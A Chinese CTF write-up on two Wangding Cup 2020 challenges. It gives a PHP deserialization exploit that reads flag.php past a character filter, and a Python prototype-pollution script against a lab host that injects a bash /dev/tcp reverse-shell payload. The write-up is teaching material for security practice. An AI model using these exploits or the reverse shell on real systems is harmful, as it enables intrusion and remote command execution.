网鼎杯 2020 青龙组

AreUSerialz

php 复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

又是一道反序列化的题目,代码很简单,绕过写,直接读flag.php文件即可,因为你写的内容永远是空的!

php 复制代码
if($this->op === "2")
    $this->op = "1";

强比较直接数字绕过即可!所以主要工作还是在下面这个waf的绕过

php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

我们知道在private和protected的属性被序列化的时候会出现不可见字符,但是在php7.1+的时候就不敏感了,所以我们可以直接在写exp的时候直接改成public即可!

php 复制代码
<?php

class FileHandler {

    public $op=2;
    public $filename='flag.php';
    public $content;
}
$a = new FileHandler();
echo urlencode(serialize($a));
?>

那么如果它php的版本不是php7.1+呢?那么就利用16进制进行绕过!将%00用\00代替,那么这么解析呢?将s改为S即可!

php 复制代码
<?php

class FileHandler {

    protected $op=2;
    protected $filename='flag.php';
    protected $content;
}
$a = new FileHandler();
$b = urlencode(serialize($a));
$b = str_replace('s', 'S', $b);
$b = str_replace('%00','\00',$b);
echo $b;
?>

notes

弹shell就好了

python 复制代码
import requests

r = requests.Session()
url = 'http://5daa3a2b-1248-48de-b563-0421f168055d.node5.buuoj.cn:81'

a=r.post(url + '/edit_note', data={
      'id': '__proto__',
      'author': '/bin/bash -i >&/dev/tcp/ip/port 0>&1',
      'raw': '111'
  })
print(a.status_code,a.text)
b=r.get(url + '/status')
print(b.status_code,b.text)

mvp结算画面!!!

相关推荐
来碗疙瘩汤21 小时前
uniapp动态读取版本号
android
用户41659673693551 天前
存量项目如何拥抱 KMP?从环境搭建到组件化集成的保姆级指南
android
技术摆渡人1 天前
Android 系统技术探索(3)光影魔术(SurfaceFlinger & 图形栈)。
android
某空m1 天前
【Android】浅析DataBinding
android·开发语言
sky北城1 天前
You are not able to choose some of the languages, because locales for them a
android
儿歌八万首1 天前
Jetpack Compose 实战:打造高性能轮播图 (Carousel) 组件
android·前端·kotlin
QING6181 天前
Kotlin Flow 防抖(Debounce)详解
android·kotlin·android jetpack
QING6181 天前
Kotlin Flow 防抖(Debounce)、节流(Throttle)、去重(distinctUntilChanged) —— 新手指南
android·kotlin·android jetpack
AI视觉网奇1 天前
android yolo12 android 实战笔记
android·笔记·yolo
海上飞猪1 天前
【Mysql】Mysql的安装部署和使用
android·mysql·adb